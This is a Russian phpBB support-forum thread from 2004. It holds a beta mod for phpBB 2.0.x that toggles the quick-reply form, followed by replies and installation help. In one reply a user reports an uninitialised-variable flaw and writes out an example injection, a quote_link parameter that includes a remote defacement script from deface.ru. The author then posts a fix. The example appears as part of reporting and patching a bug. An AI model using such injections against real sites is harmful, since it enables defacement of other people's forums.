Уважаемые пользователи!
C 7 ноября 2020 года phpBB Group прекратила выпуск обновлений и завершила дальнейшее развитие phpBB версии 3.2.
С 1 августа 2024 года phpBB Group прекращает поддержку phpBB 3.2 на официальном сайте.
Сайт официальной русской поддержки phpBB Guru продолжит поддержку phpBB 3.2 до 31 декабря 2024 года.
С учетом этого, настоятельно рекомендуется обновить конференции до версии 3.3.

Enable/disable Quick Reply Form shows

Здесь авторы постили бета-версии своих модификаций для phpBB 2.0.x. Внимание! Не устанавливайте бета-версии модов на работающие форумы!
Konkere

Enable/disable Quick Reply Form shows

Сообщение Konkere »

Код: Выделить всё

############################################################## 
## MOD Title: Enable/disable Quick Reply Form shows 
## MOD Version: 1.0.0 
## MOD Author: konkere < konkere@netsys.ru > Konkere 
## MOD Description: This mod enable/disable shows quick reply form in view topic. 
## Users have the ability to turn this 
##                  on or off. 
## 
## Installation Level: easy 
## Installation Time: 5 Minutes 
## Files To Edit: viewtopic.php, 
##                admin/admin_board.php, 
##                admin/admin_users.php, 
##                includes/usercp_register.php, 
##                templates/subSilver/admin/board_config_body.tpl 
##                templates/subSilver/profile_add_body.tpl, 
##                templates/subSilver/admin/user_edit_body.tpl, 
##                language/lang_english/lang_main.php, 
##                language/lang_russian/lang_main.php, 
##                language/lang_english/lang_admin.php, 
##                language/lang_russian/lang_admin.php 
## 
## Included Files: none 
############################################################## 
############################################################## 
## Author Notes: If you've install anothers templates, you need to apply the modifcations 
## to all the templates. 
##                
##                
############################################################## 
## MOD History: 
## 
##   2004-08-28 - Version 1.0.0 
##      - Initial Release 
## 
############################################################## 
## Before Adding This MOD To Your Forum, You Should Back Up All Files Related To This MOD 
############################################################## 

# 
#-----[ SQL ]----- 
# 
# Note: Change phpbb_ to your prefix!!! 
ALTER TABLE `phpbb_users` ADD user_allowq_reply TINYINT(1) NOT NULL ; 
INSERT INTO `phpbb_config` ( `config_name` , `config_value` ) 
VALUES ('allow_q_reply', '0'); 

# 
#-----[ OPEN ]------------------------------------------ 
# 
admin/admin_board.php 

# 
#-----[ FIND ]------------------------------------------ 
# 
$sig_no = ( !$new['allow_sig'] ) ? "checked=\"checked\"" : ""; 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
$q_reply_yes = ( $new['allow_q_reply'] ) ? "checked=\"checked\"" : ""; 
$q_reply_no = ( !$new['allow_q_reply'] ) ? "checked=\"checked\"" : ""; 

# 
#-----[ FIND ]------------------------------------------ 
# 
   "L_ALLOW_SIG" => $lang['Allow_sig'], 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
   "L_ALLOW_Q_REPLY" => $lang['Allow_q_reply'], 

# 
#-----[ FIND ]------------------------------------------ 
# 
   "SIG_SIZE" => $new['max_sig_chars'], 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
   "Q_REPLY_YES" => $q_reply_yes, 
   "Q_REPLY_NO" => $q_reply_no, 

# 
#-----[ OPEN ]------------------------------------------ 
# 
viewtopic.php 

# 
#-----[ FIND ]------------------------------------------ 
# 
	//
	// Extended Quick Reply Form Code
	//

	if (!(((!$is_auth['auth_reply']) or 
	($forum_topic_data['forum_status'] == FORUM_LOCKED) or 
	($forum_topic_data['topic_status'] == TOPIC_LOCKED))
	and ($userdata['user_level'] != ADMIN)))
	{
           $quote_text = '<br /><a title="' . $lang['Quote_text_exp'] . '" href="javascript:quoteSelection(\'' . addslashes($poster). '\')">' . $lang['Quote_text'] . '</a>'; 
           $poster = '<a title="' . $lang['Insert_nikname'] . '" href="javascript:emoticon(\'[b]' . addslashes($poster). '[/b]\\n\')">' . $poster . '</a>'; 
    	}

	//
	// End Of Extended Quick Reply Form Code
	//

# 
#-----[ REPLACE WITH ]------------------------------------------ 
# 
   if ($userdata['user_allowq_reply']) 
   { 
	//
	// Extended Quick Reply Form Code
	//

	if (!(((!$is_auth['auth_reply']) or 
	($forum_topic_data['forum_status'] == FORUM_LOCKED) or 
	($forum_topic_data['topic_status'] == TOPIC_LOCKED))
	and ($userdata['user_level'] != ADMIN)))
	{
           $quote_text = '<br /><a title="' . $lang['Quote_text_exp'] . '"href="javascript:quoteSelection(\'' . addslashes($poster). '\')">' . $lang['Quote_text'] . '</a>'; 
           $poster = '<a title="' . $lang['Insert_nikname'] . '" href="javascript:emoticon(\'[b]' . addslashes($poster). '[/b]\\n\')">' . $poster . '</a>'; 
    	}

	//
	// End Of Extended Quick Reply Form Code
	//
   } 
   else 
      { 
         $poster = ( $poster_id == ANONYMOUS ) ? $poster : '<a href="' . append_sid("profile.$phpEx?mode=viewprofile&" . POST_USERS_URL . "=$poster_id") . '">' .$poster. '</a>'; 
         $quote_text = ''; 
      } 
 

# 
#-----[ FIND ]------------------------------------------ 
# 
include($phpbb_root_path . 'quick_reply.'.$phpEx); 

# 
#-----[ REPLACE WITH ]------------------------------------------ 
# 
if ($userdata['user_allowq_reply']) { 
include($phpbb_root_path . 'quick_reply.'.$phpEx); 
} 

# 
#-----[ OPEN ]------------------------------------------ 
# 
admin/admin_users.php 

# 
#-----[ FIND ]------------------------------------------ 
# 
      $attachsig = ( isset( $HTTP_POST_VARS['attachsig']) ) ? ( ( $HTTP_POST_VARS['attachsig'] ) ? TRUE : 0 ) : 0; 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
      $allowq_reply = ( isset($HTTP_POST_VARS['allowq_reply']) ) ? ( ($HTTP_POST_VARS['allowq_reply']) ? TRUE : 0 )  : 0; 

# 
#-----[ FIND ]------------------------------------------ 
# NOTE: this is a search by part(s) of code line(s)! 
# The original line(s) to find is(are) longer and must look like this (if no MOD has already modify them): 
# 
#         $sql = "UPDATE " . USERS_TABLE . " 
#            SET " . $username_sql . $passwd_sql . "user_email = '" . str_replace("\'", "''", $email)... 
         $sql = "UPDATE " . USERS_TABLE . " 
            SET " 

# 
#-----[ IN-LINE FIND ]---------------------------------------- 
# 
$attachsig, 

# 
#-----[ IN-LINE AFTER, ADD ]---------------------------------- 
# 
 user_allowq_reply = $allowq_reply, 

# 
#-----[ FIND ]------------------------------------------ 
# 
      $attachsig = $this_userdata['user_attachsig']; 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
      $allowq_reply = $this_userdata['user_allowq_reply']; 

# 
#-----[ FIND ]------------------------------------------ 
# 
         $s_hidden_fields .= '<input type="hidden" name="attachsig" value="' . $attachsig . '" />'; 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
         $s_hidden_fields .= '<input type="hidden" name="allowq_reply" value="' . $allowq_reply . '" />'; 

# 
#-----[ FIND ]------------------------------------------ 
# 
      'ALWAYS_ADD_SIGNATURE_NO' => ( !$attachsig ) ? 'checked="checked"' : '', 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
      'ALWAYS_ALLOW_QREPLY_YES' => ( $allowq_reply ) ? 'checked="checked"' : '', 
      'ALWAYS_ALLOW_QREPLY_NO' => ( !$allowq_reply ) ? 'checked="checked"' : '', 

# 
#-----[ FIND ]------------------------------------------ 
# 
      'L_ALWAYS_ALLOW_HTML' => $lang['Always_html'], 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
      'L_ALWAYS_ALLOW_QREPLY' => $lang['Always_q-reply'], 

# 
#-----[ OPEN ]------------------------------------------ 
# 
includes/usercp_register.php 

# 
#-----[ FIND ]------------------------------------------ 
# 
      $attachsig = ( isset($HTTP_POST_VARS['attachsig']) ) ? ( ($HTTP_POST_VARS['attachsig']) ? TRUE : 0 ) :  $board_config['allow_sig']; 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
      $allowq_reply = ( isset($HTTP_POST_VARS['allowq_reply']) ) ? ( ($HTTP_POST_VARS['allowq_reply']) ? TRUE : 0) : $board_config['allow_q_reply']; 

# 
#-----[ FIND ]------------------------------------------ 
# 
      $attachsig = ( isset($HTTP_POST_VARS['attachsig']) ) ? ( ($HTTP_POST_VARS['attachsig']) ? TRUE : 0 ) : 0; 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
		$allowq_reply = ( isset($HTTP_POST_VARS['allowq_reply']) ) ? ( ($HTTP_POST_VARS['allowq_reply']) ? TRUE : 0 ) : $userdata['user_allowq_reply'];

# 
#-----[ FIND ]------------------------------------------ 
# NOTE: this is a search by part(s) of code line(s)! 
# The original line(s) to find is(are) longer and must look like this (if no MOD has already modify them): 
# 
#         $sql = "UPDATE " . USERS_TABLE . " 
		SET " . $username_sql . $passwd_sql . "user_email = '" . str_replace("\'", "''", $email)... 
         $sql = "UPDATE " . USERS_TABLE . " 
		SET " . 

# 
#-----[ IN-LINE FIND ]---------------------------------------- 
# 
$attachsig, 

# 
#-----[ IN-LINE AFTER, ADD ]---------------------------------- 
# 
 user_allowq_reply = $allowq_reply, 

# 
#-----[ FIND ]------------------------------------------ 
# NOTE: this is a search by part(s) of code line(s)! 
# The original line(s) to find is(are) longer and must look like this (if no MOD has already modify them): 
# 
#         $sql = "INSERT INTO " . USERS_TABLE . "   (user_id, username, user_regdate, user_password,...        

   $sql = "INSERT INTO " . USERS_TABLE . "   (user_id, username, 

# 
#-----[ IN-LINE FIND ]---------------------------------------- 
# 
user_attachsig, 

# 
#-----[ IN-LINE AFTER, ADD ]---------------------------------- 
# 
 user_allowq_reply, 

# 
#-----[ FIND ]------------------------------------------ 
# NOTE: this is a search by part(s) of code line(s)! 
# The original line(s) to find is(are) longer and must look like this (if no MOD has already modify them): 
# 
#         VALUES ($user_id, '" . str_replace("\'", "''", $username) . "'...        

   VALUES ($user_id, '" . str_replace("\'", "''", $username) . "' 

# 
#-----[ IN-LINE FIND ]---------------------------------------- 
# 
 $attachsig,

# 
#-----[ IN-LINE AFTER, ADD ]---------------------------------- 
# 
 $allowq_reply,

# 
#-----[ FIND ]------------------------------------------ 
# 
   $attachsig = $userdata['user_attachsig']; 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
   $allowq_reply = $userdata['user_allowq_reply']; 

# 
#-----[ FIND ]------------------------------------------ 
# NOTE: this is a search by part(s) of code line(s)! 
# The original line(s) to find is(are) longer and must look like this (if no MOD has already modify them): 
# 
#   display_avatar_gallery($mode, $avatar_category, $user_id, $email, $current_email,... 
   display_avatar_gallery($mode, $avatar_category, $user_id, $email, $current_email, 

# 
#-----[ IN-LINE FIND ]---------------------------------------- 
# 
$attachsig, 

# 
#-----[ IN-LINE AFTER, ADD ]---------------------------------- 
# 
 $allowq_reply, 

# 
#-----[ FIND ]------------------------------------------ 
# 
      'ALWAYS_ADD_SIGNATURE_NO' => ( !$attachsig ) ? 'checked="checked"' : '', 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
      'ALWAYS_ALLOW_QREPLY_YES' => ( $allowq_reply ) ? 'checked="checked"' : '', 
      'ALWAYS_ALLOW_QREPLY_NO' => ( !$allowq_reply ) ? 'checked="checked"' : '', 

# 
#-----[ FIND ]------------------------------------------ 
# 
      'L_ALWAYS_ALLOW_HTML' => $lang['Always_html'], 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
      'L_ALWAYS_ALLOW_QREPLY' => $lang['Always_q-reply'], 

# 
#-----[ OPEN ]------------------------------------------ 
# 
templates/subSilver/admin/board_config_body.tpl 

# 
#-----[ FIND ]------------------------------------------ 
# 
   <tr> 
      <td class="row1">{L_MAX_SIG_LENGTH}<br /><span class="gensmall">{L_MAX_SIG_LENGTH_EXPLAIN}</span></td> 
      <td class="row2"><input class="post" type="text" size="5" maxlength="4" name="max_sig_chars"  value="{SIG_SIZE}" /></td> 
   </tr> 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
   <tr> 
      <td class="row1">{L_ALLOW_Q_REPLY}</td> 
      <td class="row2"><input type="radio" name="allow_q_reply" value="1" {Q_REPLY_YES} /> {L_YES}&nbsp;&nbsp;<input type="radio" name="allow_q_reply" value="0" {Q_REPLY_NO} /> {L_NO}</td> 
   </tr> 

# 
#-----[ OPEN ]------------------------------------------ 
# 
templates/subSilver/profile_add_body.tpl 

# 
#-----[ FIND ]------------------------------------------ 
# 
	<tr> 
	  <td class="row1"><span class="gen">{L_ALWAYS_ALLOW_HTML}:</span></td>
	  <td class="row2"> 
		<input type="radio" name="allowhtml" value="1" {ALWAYS_ALLOW_HTML_YES} />
		<span class="gen">{L_YES}</span>&nbsp;&nbsp; 
		<input type="radio" name="allowhtml" value="0" {ALWAYS_ALLOW_HTML_NO} />
		<span class="gen">{L_NO}</span></td>
	</tr>

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
    <tr>
      <td class="row1"><span class="gen">{L_ALWAYS_ALLOW_QREPLY}:</span></td>
      <td class="row2"><input type="radio" name="allowq_reply" value="1" {ALWAYS_ALLOW_QREPLY_YES} />
        <span class="gen">{L_YES}</span>&nbsp;&nbsp;
        <input type="radio" name="allowq_reply" value="0" {ALWAYS_ALLOW_QREPLY_NO} />
        <span class="gen">{L_NO}</span></td>
    </tr>

# 
#-----[ OPEN ]------------------------------------------ 
# 
templates/subSilver/admin/user_edit_body.tpl 

# 
#-----[ FIND ]------------------------------------------ 
# 
   <tr> 
     <td class="row1"><span class="gen">{L_ALWAYS_ALLOW_HTML}</span></td> 
     <td class="row2"> 
      <input type="radio" name="allowhtml" value="1" {ALWAYS_ALLOW_HTML_YES} /> 
      <span class="gen">{L_YES}</span>&nbsp;&nbsp; 
      <input type="radio" name="allowhtml" value="0" {ALWAYS_ALLOW_HTML_NO} /> 
      <span class="gen">{L_NO}</span></td> 
   </tr> 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
    <tr>
      <td class="row1"><span class="gen">{L_ALWAYS_ALLOW_QREPLY}:</span></td>
      <td class="row2"><input type="radio" name="allowq_reply" value="1" {ALWAYS_ALLOW_QREPLY_YES} />
        <span class="gen">{L_YES}</span>&nbsp;&nbsp;
        <input type="radio" name="allowq_reply" value="0" {ALWAYS_ALLOW_QREPLY_NO} />
        <span class="gen">{L_NO}</span></td>
    </tr>

# 
#-----[ OPEN ]------------------------------------------ 
# 
language/lang_english/lang_admin.php 

# 
#-----[ FIND ]------------------------------------------ 
# 
$lang['Allow_sig'] = 'Allow Signatures'; 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
$lang['Allow_q_reply'] = 'Allow show Quick Reply Form in Topic Page'; 

# 
#-----[ OPEN ]------------------------------------------ 
# 
language/lang_russian/lang_admin.php 

# 
#-----[ FIND ]------------------------------------------ 
# 
$lang['Allow_sig'] = 'Разрешить подписи'; 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
$lang['Allow_q_reply'] = 'Разрешить показывать форму быстрого ответа'; 

# 
#-----[ OPEN ]------------------------------------------ 
# 
language/lang_english/lang_main.php 

# 
#-----[ FIND ]------------------------------------------ 
# 
$lang['Always_html'] = 'Always allow HTML'; 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
$lang['Always_q-reply'] = 'Always show Quick Reply Form in Topic Page'; 

# 
#-----[ OPEN ]------------------------------------------ 
# 
language/lang_russian/lang_main.php 

# 
#-----[ FIND ]------------------------------------------ 
# 
$lang['Always_html'] = 'HTML всегда включён'; 

# 
#-----[ AFTER, ADD ]------------------------------------------ 
# 
$lang['Always_q-reply'] = 'Всегда показывать форму быстрого ответа'; 

# 
#-----[ SAVE/CLOSE ALL FILES ]------------------------------------------ 
# 
# EoM
Последний раз редактировалось Konkere 03.10.2004 1:21, всего редактировалось 2 раза.
Xpert
phpBB Guru
phpBB Guru
Сообщения: 5484
Зарегистрирован: 20 лет 1 месяц
Поблагодарили: 2 раза

Сообщение Xpert »

Все-таки я нашел некоторую недоработку, которая может оказаться "полезной" злоумышленникам.

Код: Выделить всё

   if ($userdata['user_allowq_reply']) 
   { 
   // 
   // Extended Quick Reply Form Code 
   // 

   if (!(((!$is_auth['auth_reply']) or 
   ($forum_topic_data['forum_status'] == FORUM_LOCKED) or 
   ($forum_topic_data['topic_status'] == TOPIC_LOCKED)) 
   and ($userdata['user_level'] != ADMIN))) 
   { 
           $poster = '<a href="javascript:emoticon(\'[b]' . $poster . '[/b]\\n\')">' . $poster . '</a>'; 
           $quote_text = '<br /><a href="javascript:quoteSelection()">' . $lang['Quote_text'] . '</a>'; 
       } 

   // 
   // End Of Extended Quick Reply Form Code 
   // 
   }
Переменная $quote_link останется неопределенной если форма быстрого ответа выключена. Хотя уже много раз говорилось и писалось что register_globals должно быть off, не факт что оно так и будет. И вот тогда возможно потенциально внедрить любой код злоумышленника.

Кроме этого претензий нет, хотя могут возникнуть - я сам мод еще не ставил по той причине, что моя форма быстрого ответа будет обновляться, руки никак не дойдут.

И конечно, спасибо за работу!
Эксперт - это человек, который избегает мелких ошибок на пути к грандиозному провалу.
Любая более-менее сложная задача имеет несколько простых, изящных, лёгких для понимания неправильных решений
ra
phpBB 2.0.2
Сообщения: 325
Зарегистрирован: 19 лет 11 месяцев
Откуда: Беларусь

Сообщение ra »

Все-таки я нашел некоторую недоработку, которая может оказаться "полезной" злоумышленникам.
Ну нечего опасного с этим сделать нельзя, ибо любое левое значение будет тру, а тоже самое можно и через профиль поставить.
Xpert
phpBB Guru
phpBB Guru
Сообщения: 5484
Зарегистрирован: 20 лет 1 месяц
Поблагодарили: 2 раза

Сообщение Xpert »

R@
$quote_link - это ссылка "цитировать", а точнее чистый html-код. Потому-то это и опасно, что можно ведь написать ?quote_link=<include ('http://deface.ru/mydeface.php')
Эксперт - это человек, который избегает мелких ошибок на пути к грандиозному провалу.
Любая более-менее сложная задача имеет несколько простых, изящных, лёгких для понимания неправильных решений
Konkere

Сообщение Konkere »

$quote_link - это ссылка "цитировать", а точнее чистый html-код. Потому-то это и опасно, что можно ведь написать ?quote_link=<include ('http://deface.ru/mydeface.php')
а что это даст если этот кусок кода всё равно не выполняется?
Ведь форма быстрого ответа выключена значит ссылка цитировать не появится как и сама форма быстрого ответа
Xpert
phpBB Guru
phpBB Guru
Сообщения: 5484
Зарегистрирован: 20 лет 1 месяц
Поблагодарили: 2 раза

Сообщение Xpert »

Konkere
Почему же ссылка не появится? Может появиться, ведь код ее вывода ниже:

Код: Выделить всё

#
#-----[ FIND ]------------------------------------------
#
	'POSTER_RANK' => $poster_rank,

#
#-----[ AFTER, ADD ]------------------------------------------
#
	'QUOTE_TEXT' => $quote_text,
Впрочем, наверное просто стоит немного изменить сам мод формы быстрого ответа. В ближайшее время займусь этим.
Эксперт - это человек, который избегает мелких ошибок на пути к грандиозному провалу.
Любая более-менее сложная задача имеет несколько простых, изящных, лёгких для понимания неправильных решений
Konkere

Сообщение Konkere »

Я использую другой мод Quick Reply поэтому у меня такой проблемы нет.
Можно добавить после

Код: Выделить всё

   // 
   // End Of Extended Quick Reply Form Code 
   // 
   }
вот таккой кусок

Код: Выделить всё

	else
		{
			$poster = ( $poster_id == ANONYMOUS ) ? $poster : '<a href="' . append_sid("profile.$phpEx?mode=viewprofile&" . POST_USERS_URL . "=$poster_id") . '">' .$poster. '</a>'; 
			$quote_text = ' ';
		} 
Konkere

Сообщение Konkere »

зафиксил баг (точнее не баг а ротозейство своё)
теперь радиобатон в профиле и форма быстрого ответа показываются только если в это разрешено в настройках форума
новую версию можно посмотреть у меня в амбарной книге
http://testf.netsys.ru/phpBB2/viewtopic.php?p=10#10
Аватара пользователя
DOMINATOR
phpBB 1.4.4
Сообщения: 153
Зарегистрирован: 16 лет 7 месяцев
Откуда: Новосибирск

Сообщение DOMINATOR »

Я не могу выполнить этот пункт:

Код: Выделить всё

#-----[ OPEN ]------------------------------------------ 
# 
viewtopic.php 

# 
#-----[ FIND ]------------------------------------------ 
# 
   // 
   // Extended Quick Reply Form Code 
   // 

   if (!(((!$is_auth['auth_reply']) or 
   ($forum_topic_data['forum_status'] == FORUM_LOCKED) or 
   ($forum_topic_data['topic_status'] == TOPIC_LOCKED)) 
   and ($userdata['user_level'] != ADMIN))) 
   { 
           $quote_text = '<br /><a title="' . $lang['Quote_text_exp'] . '" href="javascript:quoteSelection(\'' . addslashes($poster). '\')">' . $lang['Quote_text'] . '</a>'; 
           $poster = '<a title="' . $lang['Insert_nikname'] . '" href="javascript:emoticon(\'[b]' . addslashes($poster). '[/b]\\n\')">' . $poster . '</a>'; 
       } 

   // 
   // End Of Extended Quick Reply Form Code 
   // 
По причине отсутствия нужного куска кода в viewtopic.php

Подскажите пожалуйста что сделать, куда вставить?

Вот мой viewtopic.php
У вас нет необходимых прав для просмотра вложений в этом сообщении.
Аватара пользователя
crash
Former team member
Сообщения: 6517
Зарегистрирован: 19 лет 9 месяцев
Откуда: Бердск

Сообщение crash »

DOMINATOR писал(а):Подскажите пожалуйста что сделать, куда вставить?
поставить
DOMINATOR писал(а):Extended Quick Reply Form
Как правильно задавать вопросы
Для особо одаренных: поиск - это есть круто.
FAQ v.2 | FAQ v.3 | Шаблон запроса
Аватара пользователя
DOMINATOR
phpBB 1.4.4
Сообщения: 153
Зарегистрирован: 16 лет 7 месяцев
Откуда: Новосибирск

Сообщение DOMINATOR »

crash, не смешно. Я же выложил viewtopic.txt... Еслибы Вы его посмотрели, то увидели что этот мод там стоит.
Важное дополнение к FAQ по установке модов:
Моды ночью/на пьяную голову/с похмелья не ставь, движок сломаешь! Все равно с утра переделывать прийдется...
;)
Аватара пользователя
crash
Former team member
Сообщения: 6517
Зарегистрирован: 19 лет 9 месяцев
Откуда: Бердск

Сообщение crash »

DOMINATOR
вы знаете, я не собираюсь угадывать по вашему файлу какая версия у вас стоит мода и чья вообще. Но если у вас есть желание, то вы можете подумать над кодом и решить свою проблему
Как правильно задавать вопросы
Для особо одаренных: поиск - это есть круто.
FAQ v.2 | FAQ v.3 | Шаблон запроса
Аватара пользователя
DOMINATOR
phpBB 1.4.4
Сообщения: 153
Зарегистрирован: 16 лет 7 месяцев
Откуда: Новосибирск

Сообщение DOMINATOR »

crash, я не имею возможности знать что это за версия, так как ее устанавливай другой администратор и связаться с ним нет возможности. После него осталась куча модов версии которых я не знаю. Вот собственно я и прошу помощи! Я уже несколько раз пробывал вставлять данный код в наиболее похожие участки, но нужного эффекта не наблюдал. Только ошибки...

crash, а зачем вообще писать если Вы помочь не можете или не желаете? У Вас уже пять тысяч таких мессаг...
Важное дополнение к FAQ по установке модов:
Моды ночью/на пьяную голову/с похмелья не ставь, движок сломаешь! Все равно с утра переделывать прийдется...
;)
Аватара пользователя
VVVas
Former team member
Сообщения: 4463
Зарегистрирован: 19 лет 5 месяцев
Поблагодарили: 1 раз

Сообщение VVVas »

DOMINATOR писал(а):У Вас уже пять тысяч таких мессаг...
Это чтобы я его не догнал такими же мессагами.
DOMINATOR писал(а):Я не могу выполнить этот пункт
Ну проявите же внимание, посмотрите, как вам советовал crash, на это действие и следующее. Разницу видите? Ну а теперь прикрутите эту разницу а "похожее место", оно там одно и очень однозначно.
я люблю daft punk | новый sugoi.ru
Аватара пользователя
crash
Former team member
Сообщения: 6517
Зарегистрирован: 19 лет 9 месяцев
Откуда: Бердск

Сообщение crash »

DOMINATOR писал(а):У Вас уже пять тысяч таких мессаг
а вы что все мои мессаги прочли? Вместо этого лучше бы заниались пониманием куда вставлять и что
Как правильно задавать вопросы
Для особо одаренных: поиск - это есть круто.
FAQ v.2 | FAQ v.3 | Шаблон запроса

Вернуться в «Бета-версии модов для phpBB 2.0.x»